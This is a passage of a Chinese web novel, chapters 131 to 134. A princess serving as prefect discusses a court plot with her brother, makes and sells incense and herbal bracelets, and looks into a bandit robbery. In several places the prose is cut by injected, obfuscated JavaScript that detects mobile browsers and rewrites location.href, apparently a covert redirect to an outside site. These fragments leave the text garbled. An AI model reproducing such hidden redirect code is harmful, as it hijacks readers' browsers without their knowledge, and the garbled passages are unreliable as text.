饭吃到一半,来了个不速之客,是三皇子萧奕贺。 他笑着对萧柠说道:“本王特意来恭贺新任刺史,正好赶上你们吃饭,不知能不能给本王加个位置?” 萧柠笑道:“自然可以。你坐我旁边吧。” “多谢刺史大人。” 三皇子坐下后,萧柠笑道:“你这小子,干嘛这么一本正经的,连皇姐也不叫?” 三皇子道:“工作的时候称职务。” 萧柠差点把刚喝进去的水喷了出来。 她给三皇子夹了一点菜,道:“多吃点吧,还能长高呢。” “臣弟已经是成年人了,长不高了。” “你还有一年才及冠吧?” “正是,不过我已经跟成年人差不多了。” 三皇子比之前又长高了不少,看起来长身玉立,英姿勃发,很有魅力。 不过,他的眼神还是像之前那样,澄澈得像宝石。 吃完饭后,萧柠单独带着三皇子去会客室喝茶聊天,让下人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147073|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都离开,这样方便说话。 萧柠问道:“你来看我,经过父皇同意了吗?” 三皇子点头道:“我已经告假了。” “听说你现在已经升任户部侍郎?” “是,因为之前父皇交代给我的事,我都办得不错,再加上办了之前韩谨之刺史的案子,父皇便让我升职了。” “这样挺好的。不过,你不能一直待在户部,要争取到其他几部任职的机会。凡是培养储君,都会让储君去各个重要部门任职一段时间,熟悉各方面的政务。父皇虽然暂时没有立你为储的意思,但是你也可以争取到其他部门任职的机会,让自己更有竞争力。 这样,你在上朝议事、理政时,会更有见解,赢得更多人心。” “是,我明白了。” “对了,最近大皇子怎么样?他是不是还在给你使绊子?” “他暂时使不了绊子了,因为他出了点事。” “怎么了?” “准确地说,是他的表弟靳海涯出事了。” 三皇子便把事情的始末告知萧柠。 原来,靳海涯被安排到羽林军中当副将之后,一直表现得不错,也没出什么事。 可是前几日,靳妃身边的一个太监偷偷去找靳海涯,说是皇上病重,已经立下遗诏,要立三皇子为新帝。为了防止靳妃和大皇子争位,皇帝派人抓走了靳妃和大皇子,要逼她们母子自尽。 现在只有靳海涯能救靳妃和大皇子,太监请靳海涯赶紧带亲兵进入皇上寝殿,阻止这一祸事,顺便逼皇上修改遗诏,立大皇子为帝。 靳海涯不疑有他,赶紧带着一队亲兵硬闯皇上寝宫。 皇上的寝宫有侍卫重重把守,靳海涯不由分说,便跟守宫门的侍卫打了起来。 没打多久,靳海涯和他的亲兵们都被擒住。 皇帝从里面走出来,问是怎么回事,靳海涯这才发现皇帝没生病。 皇帝质问靳海涯是不是想造反,靳海涯赶紧解释一通,说是一场误会,都是靳妃身边的太监挑拨的。 皇帝便叫靳妃、大皇子,还有靳妃身边的太监对质。 靳妃和大皇子大惊失色,好像并不知情。那个太监也说,他从来没见过靳海涯,不知道靳海涯为什么要编造谎言,污蔑他。 靳海涯一下子解释不清楚,只能叩头请罪,说是自己太担忧靳妃和大皇子的安危,才会带兵闯宫,请皇上恕罪。 皇帝不信,问靳海涯是不是想逼宫,这件事是不是大皇子和靳妃指使。 靳海涯一直说不是,而大皇子为了洗清嫌疑,直接拔剑杀了靳海涯,又跪在皇上面前,苦苦表明忠心。 皇上虽然没有怪罪靳妃和大皇子,但终究有些疑心,因此便命大皇子闭门思过,不必再上朝了。靳妃也闭门思过,罚俸三月。 靳海涯之父靳衡贬为庶民,没收家产。 不过,皇帝并未牵连靳家的其他人,靳家还是有人继续做官,没受影响。 并且皇帝下令不许此事外传,所以这件事知道的人并不多。旁人只知道大皇子忽然触怒了皇帝,所以被免职,被迫闭门思过。 听完三皇子的转述,萧柠瞠目结舌:“这是真的吗?” 131. 冤杀(修) “是真的,我听到的时候,也不敢相信。但是,那个靳海涯,就是有这么蠢。” “那个撒谎骗他的太监,应该是其他势力安插在靳妃身边的棋子,就是为了在合适的时机害靳妃一党。” “没错,那个太监已经在靳妃身边十几年了,做到了总管太监,深得靳妃信任。没想到,他却是其他势力安插的卧底,在靳妃和大皇子春风得意的时候,给了他们一刀。” 萧柠忽然看向三皇子:“那个太监不是你的人吧?” “当然不是。我倒希望是,这样也可证明我足智多谋,算无遗策。可惜,我没有这么深的心计,这么强的布局能力。” “那个太监这么多年就没露出过破绽吗?” “没有。在前些年,他一直对靳妃忠心耿耿,甚至记得靳妃的所有喜好,从来没有做过一丁点让靳妃不满意的事。有时候,靳妃想收拾某一个人,只需给那太监一个眼神,那个太监就会按照她的意思去做。 说起来,我还被那太监打过好几次呢。” “那他是不是被处死了?” “是的,不管这件事的始作俑者是不是他,既然他有撺掇靳海涯逼宫的嫌疑,那父皇就留不得他了。” “靳海涯是被大皇子杀死的……这风格倒似曾相识。” 三皇子冷笑:“他们家的人都是这个风格,弃车保帅。” “趁着大皇子闭门思过的时期,你赶紧多立功,取得朝臣和百姓的信任。等下次大皇子复出时,就远远比不上你了。” “嗯。大皇姐,你希望我当太子?” “那是当然。等你掌权之后,会支持女官吧?” “会,我还要修改科举制度,让女人也能参加科举,并让更多有能力的女人成为官员。” “那就好。只要你能做到这点,我会一直支持你的。” 三皇子给萧柠带来一些礼物,全是萧柠喜欢的,萧柠开心地收下了。 接着,三皇子又拿出一些苹果、糕点之类的,道:“这是我从二皇兄那儿敲诈来的,大皇姐也尝尝。” 萧柠笑道:“你叫他寄给你吗?” “对。他不是在焦县当县令嘛,我屡次写信,让他寄点焦县的土特产给我。可他都说没什么好寄的,焦县的东西都挺普通。 我就威胁他说,他不给我寄,我就把他寄养在我这里的兰花放太阳底下晒干。于是他就给我寄了这些。我还没吃呢,带过来跟大皇姐一起尝尝。” 萧柠失笑道:“二皇弟是个老实人,他说没什么好东西,肯定是真的。你非要他寄,我倒要尝尝是什么味。” 萧柠拿了一个苹果尝尝,觉得不甜,口感也一般,像在嚼棉絮。 又拿了一块糕点,味道比自己平时吃的差远了。 三皇子也是皱着眉头,随便吃了些,又吐了出来。 “呸呸呸,原来二皇兄真的没骗我,他们那里的特产真的很一般啊……” “我就说他不会骗你,我看,还是我们寄点东西给他吧。” “有道理。二皇兄这么多年在焦县就吃这种东西,可真的太惨了。” 三皇子住到第二天就走了,萧柠嘱咐他要勤勉好学,礼贤下士等等,三皇子都一一应下。 萧柠来到公廨,询问本地官员青州的基本情况。 本地的一些官员捡了一些要紧事跟萧柠说。 萧柠发现,青州府最大的问题也是缺钱。 而且,青州府管着十一个城,那些城市经常写信过来,请求州里拨款。 青州本就入不敷出,也没有余力照顾底下的城市。 萧柠觉得,增加财政收入,刻不容缓。 但是,又不能随意加税,以免造成百姓的负担。 她问易思贤:“易长史,青州城内偷税漏税这块查过了吗?” 易思贤道:“都查得差不多了,该缴的税都缴了。现在那些商户看见我就害怕。” 萧柠忍着笑问道:“我以前听说青州境内多土匪,不知道现在还有没有?” “有土匪,但他们都躲在虞山深处。虞山绵延千里,有许多地方人迹罕至,也不知道他们的巢穴在哪里。以前青州组织过几次剿匪,但是要么劳而无功,要么中了匪徒的陷阱,没什么收获。” “易大人,据你估计,那些土匪有钱吗?” “应该挺有钱的,他们已经盘踞虞山十多年了,经常打家劫舍,或是打劫过路的商人。所积攒的财富,应该不下百万两。” “官府不能预估他们的行动轨迹,预先设下埋伏吗?” “他们没有固定的活动时间和地点,可以说是来无影、去无踪。所以,很难预先设伏。有几次,我们找人假扮富商,在虞山一带活动,但是没引出他们,也许是被他们识破了。” “也许,官府当中有他们的内应,所以他们知道官府的行动。” “也有可能。而且,这群土匪还有一个奇怪之处,就是很难被砍伤。有时候,我们配备了最锋利的兵器,但还是砍不伤他们。” “他们是不是穿了坚硬的铠甲?” “有可能,但我们的武器一直在更新换代,现在的新型兵器已经能砍穿普通铠甲了。” “也许他们是用一些特别有韧性的材料做的铠甲。” “可能吧。其实下官觉得,剿匪难度太大,大人不如多种点番茄和咖啡,也许能赚钱。” 萧柠道:“番茄能赚的钱有限,至于咖啡,咖啡树目前只能种活一棵,所以产量有限。之前我把所有的咖啡豆都用来制线香了,稍微能赚点。但只靠这些,还是不够的。” “属下已经找了几个农学大家,让他们试着研究咖啡树,希望能多种几棵。” “就算能成功,估计也要很久。我还是先用营养液浇灌一下番茄和咖啡树吧。” 会议结束后,萧柠单独跟易思贤谈话。 “易长史,你现在可以告诉我,之前向你举报我偷种咖啡树的人是谁了吧?” “其实我也不知道,我只是收到一封匿名信,信上说容城太守,也就是大人您,在官田附近偷种有害作物,请州里长官调查。我偷偷派人去看了,果然看见了咖啡树。我以为那是有害作物,才会来容城问责。” “你只收到一封匿名信?那封信还在吗?” “还在,不过看不出笔迹。” 易思贤把这封匿名信拿了出来,给萧柠看。萧柠这才明白为什么易思贤说看不出笔迹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147074|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为这封信不是手写的,每一个字都是从书上剪下,拼接而成。 所以,告密人不需要动手写字。这是一个很明智的隐藏自己的方式。 不过,虽然没有笔迹,萧柠却觉得,这告密者八成就是夏以清了。自己身边只有夏以清致力于暗中使绊子。 可惜却抓不到他的把柄。 萧柠对易思贤道:“易大人,这封匿名信本官先留着了。” “是,大人拿走便是。” “那你先去忙吧。” 易思贤走后,萧柠向系统兑换了160瓶催熟液,消耗8万积分。现在的积分是68800。 她来到青州的官田,让所有人离开,然后把催熟液浇灌在番茄地里和咖啡树附近。 青州这边只种了一亩番茄,所以一次80瓶催熟液就够了。另外80瓶给咖啡树用。 关于催熟液的真相,萧柠自然不能泄露,因此她只说自己手上有特制的营养液,能让农作物长得旺盛,多结好果。 但因为营养液比较珍贵,不能让人看见。这样就糊弄过去了。 晚上,萧柠打开了夸夸群。 很久没跟群友们聊天了,她还挺想念大家的。 【萧柠:姐姐们好。】 【活人微死:恭迎刺史大人!】 【只涨工资不长肉:恭迎刺史大人!】 【樱桃小完犊子:俺也一样!】 【你已被群主移出群聊:俺也一样!】 【萧柠:哈哈哈,谢谢姐姐们。】 【有趣的灵魂一百多斤:小柠真的太厉害了啊!佩服佩服】 【感觉尸体暖暖的:这升迁速度,跟坐了火箭似的!】 【樱桃小完犊子:祝小柠芝麻开花节节高~】 【活人微死:祝小柠权倾天下,彪炳史册~】 【萧柠:谢谢姐姐们,我会加油的。】 【回笼教教主:小柠,当刺史什么感觉啊?】 【萧柠:挺穷的!啥都要钱,但账上没钱。】 【你已被群主移出群聊:钱是不是被前任刺史挥霍光了?】 【萧柠:其实他挪用的只是一部分,主要是开销真的很大。而且前任刺史在的时候,凡是有点收入,他都要贪污大部分,所以钱进账的速度远远没有流出的速度快。】 【你已被群主移出群聊:加油小柠~你每天就念:钱从四面八方来。说不定钱真的会来。】 【萧柠:我真希望钱像箭一样朝我冲过来!】 【樱桃小完犊子:哈哈哈哈】 【只涨工资不长肉:打扰一下,你们这个钱是从哪里进货的?我也想要。】 【有趣的灵魂一百多斤:哈哈哈哈】 【回笼教教主:拍卖一块钱纸币,价高者得。起拍价一块。】 【樱桃小完犊子:我出一块。】 【你已被群主移出群聊:我出五毛。】 【活人微死:我出一毛。】 【回笼教教主:这价格咋还越叫越低了?】 【樱桃小完犊子:哈哈哈有人要你就知足吧!】 【回笼教教主:一块钱一次!一块钱两次!一块钱三次!成交!请缴税一毛。】 132. 手串(修) 【樱桃小完犊子:好黑。】 【回笼教教主:依法纳税是每个公民的义务。】 【樱桃小完犊子:……】 【你已被群主移出群聊:小柠,你想到挣钱的方法了吗?】 【萧柠:我想剿匪,但是一来怕找不到山匪,二来怕官兵损失惨重。】 【你已被群主移出群聊:没关系,你先搜集一下山匪的信息。至于怎么打损失最小,你可以琢磨琢磨。】 【萧柠:嗯。】 【樱桃小完犊子:小柠你以前卖过咖啡线香啊?很有创意。你可以继续开发新的线香。】 【萧柠:可是我不知道该怎么开发。之前是因为手头刚好有咖啡豆,我才想到把咖啡粉加进线香里的。】 【樱桃小完犊子:说起来,我之前逛街的时候,还见到过话梅味的线香,你也可以试着做一下。】 【萧柠:真的吗?那闻起来是什么味啊?】 【樱桃小完犊子:话梅味。】 【活人微死:哈哈哈哈问了一句废话。】 【只涨工资不长肉:我上次见到这么好笑的对话还是在上次。】 【萧柠:哈哈哈哈话梅味真的很特别啊,我有点期待。】 【活人微死:脑洞大开一下,其实可以把常见的水果、花、蜜饯什么的都加进线香里,还能出一个系列呢,比如十二花香系列、十二果香系列。】 【萧柠:好!我有思路了。】 ———— 第二天,萧柠聚集众位下属,商议道:“我想剿匪,但对虞山匪徒知之甚少。不如张贴告示,让那些对匪徒有所了解的百姓前来官府提供线索,等搜集到足够的线索后,再制定剿匪计划。” 瞿明修道:“大人,此举不妥。” “为何?” “如果张贴告示,就相当于明着说官府要剿匪了,会让那些匪徒提前做好准备。在匪徒实力很强的情况下,此举并不明智。而且,万一提供线索的百姓说的是假消息呢? 也许有些人跟山匪有所勾结,或者山匪收买百姓,故意说假消息,引官兵落入陷阱,会损失惨重。” 萧柠点头:“瞿别驾言之有理。那你的意思,是暗访?” “是的。不过,就算得到山匪的线索,只怕我们也无法马上去剿匪。” “是资金的问题?” “有资金方面的问题,还有就是山匪的实力太强了,如果组织官兵剿匪,会造成过多伤亡。我们可以聘请一些武功高强的江湖人士帮忙剿匪,但聘请他们需要很多钱。” 萧柠沉思道:“所以,还是要回到赚钱上……” “对。现阶段可以一边暗访山匪的消息,一边多挣点钱。挣来的钱首先投入到剿匪中,毕竟匪徒不除,终究是大患,百姓无论做什么都不能安生。” “言之有理。如果我们向下面的城市筹款剿匪呢?” 易思贤道:“大人,他们不向我们要钱就不错了。今天早上,下官又接到好几个城的求救信,说他们快揭不开锅了,州里再不发钱,农民就要揭竿而起了。边境的驻军又来信,请求财政拨款,说是军队里也快吃不上饭了。” 萧柠颇感头疼:“好吧,看来只能尽快挣点钱了。” 易思贤道:“下官在查古玩市场的账,这个行当经常少缴税,看看能不能弄点钱出来。麻烦瞿别驾去查私盐贩子,抓到就没收他们全部的盐和财产。” 瞿明修道:“好的。” 易思贤又对青州司马葛归园道:“劳烦葛司马率领一些下属专查富户,看那些有钱人家有没有做违法的事。无论大小,只要抓到就罚款。如果是大事,就抄家,家产充公。” 葛司马点头道:“好的。” 见易思贤安排得井井有条,就知道他很擅长搞钱,萧柠心中不禁暗笑,但又很佩服他。 这时,易思贤递给萧柠一份名单。萧柠一看,上面写了一些人名和地址,而且这些人都姓萧。 易思贤道:“公主,这是青州境内所有有封地和汤沐邑的宗室名单。如果到时候剿匪的钱凑不齐,还请公主利用自己的皇族身份,向这些亲戚打打秋风。我查过了,她们都挺有钱。” 萧柠失笑:“易长史,你这是把主意打到我头上来了?” “搞钱嘛,不寒碜。您是公主,这些宗室总得卖您一个面子。” 萧柠只得叹道:“我服了,我真的服了。” 萧柠问道:“不知虞山上的匪徒一共有多少人?” 易思贤道:“具体人数未知,但他们能盘踞虞山这么多年,想必人数不少,几百人应该有。” 瞿明修道:“我有不同的看法。山匪人数一多,日常物资的开销很大,他们肯定要频频下山采购,而且一采购就要买很多东西,比较惹眼。但是目前,虞山山匪在百姓眼中,还是一个比较神秘的群体。 而且,几百人或是几千人聚居在山中,很难隐藏,不可能这么多年都没人发现他们的位置。 所以,我觉得,这些山匪人数应该比较少,不超过五十人。只因他们武功高强,所以才没有落入官府手中。而且,几十人要换地方住,是比较容易的,需要带的东西也不多。他们可以在山里不停地挪窝,躲避官兵的耳目。” 萧柠道:“我觉得瞿别驾说的是对的。” 瞿明修道:“他们人数虽少,实力却强,不可掉以轻心。” “嗯。” ———— 散会后,萧柠回到房间,让冬香、小雪她们去买一些上好的蜜饯、水果回来。 她又让鸾音、绿袖等侍卫去外面摘一些梅花、蝴蝶兰回来。 现在已是冬天,正是梅花、蝴蝶兰等花卉开放的时节。萧柠要研究一下用这些花来制香。 不过,这有一个缺点,就是这样的线香并不是独一无二的。 萧柠可以以花入香,其他人也可以这样做。 甚至可能已经有许多老板用鲜花、水果制香了,并且有了稳定的客源。 所以,萧柠卖花果味和蜜饯味的线香,未必能挣多少钱。 但可以先试试。 这时,医师秋笛走了进来,对萧柠道:“公主,我做了一个特殊的手串,送给你,可以助睡眠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147075|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋笛递给萧柠一个手串。这个手串是用黑色珠子和透明水晶珠子串成的,挺漂亮的,还有一股药香。 萧柠问道:“药香是哪来的?” “这些黑色的珠子,是用好几种中药制成的合香珠,并不是矿石。使用的药材有琥珀、远志、酸枣仁、白术等。这几味药材都能安神助眠,您睡觉时佩戴,就可以快速入睡了。” “你真有巧思。不过,做这样的手串很麻烦吧?” “是有点麻烦,要先把相关的药材研磨成粉,然后制成珠子,工期大概要二十多天。我也只是有空了才做一串。” “那是不是想要不同的效果,就用不同的药材做成合香珠就行了?” “是的,比如想要提神的手串,可以用薄荷、白芷、陈皮、辛夷等药材制作合香珠;想要瘦身,可以用柴胡、荷叶、陈皮、决明子等磨成粉,制成合香珠。” “听起来跟制作线香的过程差不多。” “是的。” 萧柠忽然想到一个好主意:“我打算卖线香挣钱,但大部分的线香市面上都有,不具备太大的竞争力。咖啡线香虽然是独一无二的,但由于咖啡果数量有限,也没法大量售卖。 如果你做一些药材手串,作为买线香的赠品,必须买够一定的金额才能赠送,这样应该能提高线香的销量。 到时候也会给你提成的,你觉得怎么样?” 秋笛点头:“我觉得可行。” “但是,时间是个问题……你做一条中药手串需要很久,那会跟不上售卖的进度。” “其实主要是工期长,比如合香珠必须经过九蒸九晒等工序,并不是这二十多天都要不停地干活。晒的时候,直接把合香珠放在阴凉干燥处就可以了。 所以,在同一段时间内,其实可以同时做一批手串。如果公主给我几个人打下手的话,还能做更多。” “太好了,那我把我的丫环、侍卫分一半给你,让他们帮你干活。反正他们都是从我这儿领俸禄的,无论干什么活都一样。” 秋笛点头:“那我尽量多做点功效不同的手串出来?” “嗯。” 约定好后,萧柠和秋笛分头行动。 萧柠用鲜花、水果、蜜饯等制作出不同香味的线香,秋笛就制作药材手串。 萧柠本就有制香的经验,她经过几次失败的尝试后,就成功制作出了苹果味线香、柑橘味线香、山楂味线香等多种新线香。 咖啡树成熟了一茬,她收获了一些咖啡豆,又制作了一些咖啡线香。 但由于积分不太够了,她就没有继续催熟咖啡树。 所以,她现在手上的咖啡豆数量很少。 她不打算直接售卖咖啡线香,而是把咖啡线香也当做赠品,这样可以刺激消费。 萧柠自己时间不太够,她让冬香、小雪带着一群丫环一起制作线香。 反正制作方法并不难,难的是专心细致,有敬业之心,这样做出来的线香才是最好的。 一个多月后,萧柠把自己制作的线香、秋笛制作的中药手串一起放到官府的店铺售卖。 133. 新案(修) 她告诉店铺的掌柜,凡是购买金额达到100两的,可以赠送一盒咖啡线香;购买金额达到150两的,可以赠送一盒咖啡线香、一串中药手串,手串的种类可以自选,先到先得。 掌柜和伙计们把商品摆出来,吸引了一些人观看。 “哇,这是话梅味的线香,好特别!” “之前我在另一家店铺,也见过话梅味的线香,而且比这里更便宜。” “是吗?可是这里包装更好诶,而且满100两就有赠品。” “这赠品是什么?咖啡线香,没听说过……” “咖啡线香我闻过,之前我去容城的时候,在一家酒楼里买到过这种味道的线香,味道很特别。一开始有点奇怪,但闻习惯了就很喜欢。老板,这咖啡线香能不能单卖啊?” 老板道:“不能,这咖啡线香是赠品,满100两才送的。” “那我要是想要两盒呢?” 老板:“那就要满200两。” “老板,这中药手串是什么?” 老板:“就是用中药做的手串,那些珠子是药材磨成粉制作而成的,戴在身上有不同的功效,比如提神醒脑、安神助眠、疏肝解郁、防蚊驱虫等等。每一条手串都有标签,写着对应的功效。” “有没有效果啊?” 老板:“当然有效果,这都是用上好的药材制作而成的。” “这手串单卖多少钱?” 老板:“手串不单卖,满150两才赠送。” “哇,这个柑橘线香真的能闻到柑橘味,好厉害啊。” “闻一下这个梅花香,有淡淡的梅花味诶。” “我看也没什么特别的,除了咖啡线香,其他的香在别的地方都能找到。” “老板,我买这几盒。” 老板道:“这位客官,您这几盒加起来有60两了,要不要凑个100两,可以获赠一盒咖啡线香?” “嗯……也行吧。挑点我没挑过的味道。” 老板:“您放心,咱们这批线香,就是种类多!光是梅花香,就有四种不同的梅花。还有这柠檬香、话梅香、杏仁香,都很不错。” “老板,这些线香是谁做的啊?” 老板:“这都是新任刺史大人设计,让她手底下的人做的。就算其他香铺也有类似的香,但具体气味肯定有所不同,大家可以仔细闻闻。刺史大人用的都是上好的原材料,光是水果就跑了好几个地方,力求买到最好的水果。” “哇,是刺史大人设计的,那我高低得买一个!” “我想要那个中药手串,老板,你帮我挑150两银子的商品吧,我无所谓,但每一盒味道都要不一样啊。” 老板:“好嘞。” 有几个比较有钱的顾客愉快地买了线香,还获得了赠品。 眼看赠品越来越少,其他还在犹豫的、对咖啡线香和中药手串感兴趣的顾客,也开始购买。 没过几天,线香被购买一空,还有很多人前来预定,说下一批线香到货了,必须留一盒咖啡线香或是一条中药手串给他们。 老板和伙计们都一一记下,并把售卖的结果告知了萧柠。 萧柠很高兴,这次州府衙门能有不少进账。 她要着手做下一批线香了。 之前催熟的番茄也成熟了,她摘了一部分,售卖给几家大酒楼。 现在已经有其他地区的百姓种出了番茄,他们是之前在容城吃过番茄后,偷偷保留了番茄种子,回到自己家乡种,才种出来的。 番茄是稀罕物,那些百姓种出来后,就往青州一带售卖,其中去容城售卖的人是最多的。 因为青州百姓,尤其是容城百姓,之前吃过的番茄最多,也更容易购买番茄。 只是,大家都发现,普通百姓种出来的番茄,味道没有之前官府售卖的好。 这些番茄不仅不甜、不酸,而且模样丑,个头又小,惨白惨白的,像是个营养不良的难民。 许多百姓图新鲜便宜,购买了一两次后,也就不买了。 一些大酒楼进货了其他地区的番茄,但由于番茄口感不行,他们用番茄做的菜也不得不降价,没有之前赚的多了。 所以,这次萧柠开始售卖番茄的时候,有一些酒楼老板试吃了一个,发现这批番茄好吃多了,模样也好,他们都愿意购买萧柠的番茄。 买回番茄后,他们用新的番茄做菜,卖给顾客。 但是在一些顾客心里,番茄是一种寡淡无味的食物,因此他们一开始不愿意点。 老板们再三推荐,说这次的番茄非常好,跟之前外地百姓售卖的番茄不一样,才有人陆陆续续地点番茄炒蛋等菜来吃。 这一吃,就欲罢不能了。 几家酒楼的番茄很快消耗光了,他们还想继续进货。 萧柠合计了一下,把番茄卖给他们,固然能赚钱;但如果把番茄作为购买线香的赠品,赚得更多。 因此,萧柠只卖了一万个番茄给他们,剩下的番茄作为购买线香的赠品,满50两可以获赠10个,满100两获赠20个,依此类推,上不封顶。 同时,秋笛的中药手串也继续做。 等第二批线香上架的时候,由于赠品当中多了番茄,购买的人更多了。 这次,只用了三天时间,所有线香都抢购一空。 这段时间,其他官员也有所收获,官府进账了一大笔钱。 萧柠召集众官吏商议:“这些钱足够剿匪了吗?” 易思贤道:“可能不太够。” “我听说,最近又发生了一起山匪伤人案?剿匪必须尽快进行了,钱不够的话,最多我去各个宗室家里看看,让他们捐一点。” “是,这次的案子,发生在凤城。凤城已经把卷宗呈递上来,请大人过目。” 萧柠翻开了卷宗,上面简单地描述了这次案件的经过。 有几个商人要护送一批重要的货物去宁州,要途径凤城。 凤城隶属于青州,他们听说青州的山匪很厉害,就聘请了六名江湖高手护送。 他们想出了一个绝妙的计策,就是让其中三名高手假扮成商人,另外三名高手则做护卫打扮。 这样,一旦遇到山匪,他们会以为护卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147076|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有三名,注意力都在那三名高手身上。 趁山匪们专心打斗、无暇分心时,另外三名假扮成商人的护卫就突然暴起,攻击匪徒,也许能扭转战局,杀死或擒住山匪。 同时,他们还有第二条妙计,就是把真正的宝物藏在小厮身上。而他们运了几口铁箱子,配上特制的锁,看起来很郑重,但其实铁箱子里面什么都没有。 万一六个高手都不敌山匪,山匪们也只会认为宝物在铁箱子里,把铁箱子拿走。 这样,真正的宝物还能保存下来。 有了这两条计策,他们觉得万无一失了。 于是,两名商人、四名小厮、六名护卫,就这样出发了。 途径凤城一处偏僻的山林时,山匪出现了。 令人意外的是,山匪只来了两名。他们都戴着面具,穿着一身灰色的粗布麻衣。 而这种衣服和面料,是许多百姓常穿的。 而且,这两名匪徒的身高、身材都没有什么特殊之处,不高不矮,不胖不瘦。 所以,如果他们混入百姓中,是很难被发现的。 而他们戴的面具,也不是那种夸张的面具,而是人皮面具,上面的眉眼口鼻栩栩如生。乍一看,他们的五官很普通、很常见,但是又很难记住。 难怪他们很难被抓住,一方面是因为武功高强,另一方面也是因为善于伪装。 这两个匪徒出现后,三名高手便赶紧上前围攻他们。 而两个商人、三个假扮成商人的护卫、四个小厮,则躲在一旁,瑟瑟发抖。 可没想到,那两名匪徒竟分头行动,一名迎战那三个护卫,另一名匪徒直奔那三个假扮成商人的护卫而来。 他们似乎一眼就认出了哪几个是真商人,哪几个是假商人。 于是,那几个乔装改扮的护卫也不得不奋力迎战另一名匪徒。 六对二,却落了下风。 大约战斗了一炷香时间,六名护卫竟被杀光。 两名商人瑟瑟发抖,赶紧把铁箱子奉上。 那两名匪徒只是绕着铁箱子走了几圈,并未拿走。 他们忽然看向那几名小厮,把小厮身上的宝物搜了出来,拿走了。 两条计策均被识破,商人们又懊恼,又害怕。还好那两个匪徒没有继续杀人,两名商人和他们的小厮都活了下来。 萧柠看完后,道:“这事倒奇怪,那两名匪徒怎么会发现有三名护卫假扮成商人?又怎么会识破真正的宝物在小厮身上?” 瞿明修道:“也许他们当山匪久了,眼光毒辣。商人们自以为计划周密,但在匪徒眼中,都是一眼就能看破的计谋。” “那两名商人和他们的小厮现在在哪里?” 易思贤道:“他们好像还在凤城。凤城太守说他们想回家乡去,但被留下来了,说是案情未明,请他们再留几日。他们虽然有些焦急,但也只能暂时住在凤城附近的客栈当中。” 萧柠道:“通知凤城太守,把他们送到青州来,本官有些问题要问。” “是。” 两天后,两名商人和四名小厮被送到州衙。 134. 报仇(修) 那两名商人叫何从简、李珏。 萧柠问道:“你们运送的宝物具体是什么东西?” 何从简道:“都是一些珍贵的物件,比如有一件是宝石猎鹰,是用一千多颗宝石制作而成的;还有一件是天山灵玉,传说是用天山最顶端的玉石雕刻而成,具有镇宅安神、延年益寿功效。还有一件是用金丝楠木雕刻的貔貅。 金丝楠木本就珍贵无比,而且这貔貅还是出自前朝雕刻大师宋志之手。自前朝覆灭,宋大师的作品消失的消失,损坏的损坏,这貔貅已经是孤品,其价值难以估算。” 萧柠问道:“所以,一共是三件宝物?” “是的。” “那两名匪徒有什么特征吗?” “我觉得他们从外表来看,没什么特殊的,所以也记不住。” “他们朝什么方向跑了?” “是……东南方向,但很快就消失了。” “他们有没有说什么话?声音是怎么样的?” “没有,他们一出现就跟我们聘请的护卫打斗,从头到尾都没发出什么声音。” “你们和几个小厮都没有受伤?” “没有,他们好像只想抢东西。” “那六名护卫为何被杀了?” “我也不知道……也许,那些山匪只杀会武功的,不杀平民百姓。我听说有些江湖人的规矩是这样的。” “他们是如何识破有三名护卫假扮成商人,还有,宝物其实在小厮身上?” “我也不知道……他们当时朝我们这边看了一眼,然后就有一个山匪过来,跟假扮成商人的护卫打斗,也没有询问什么。护卫们都被杀死后,他们也没有逼问我们宝物的事,而是打量了我们一眼,又看了看铁箱子,就判断出宝物在小厮们身上。” “看来,他们有自己的判断方法……” “是……是的。大人,这些山匪这么厉害,怕是一时半会抓不住。我们家中还有事,可不可以先回家乡?” “不用急着回乡,本官正准备剿匪。你们留下,也许能提供更多线索。” “可是,我们知道的都已经说了……” “你们可有碰到那两名山匪的身体?他们有什么特别的吗?” “我们没碰到过,几名护卫好像也没碰到过。因为他们不是山匪的对手,很快就被杀了。” “本官听说,山匪很难被砍伤,是不是这样?” 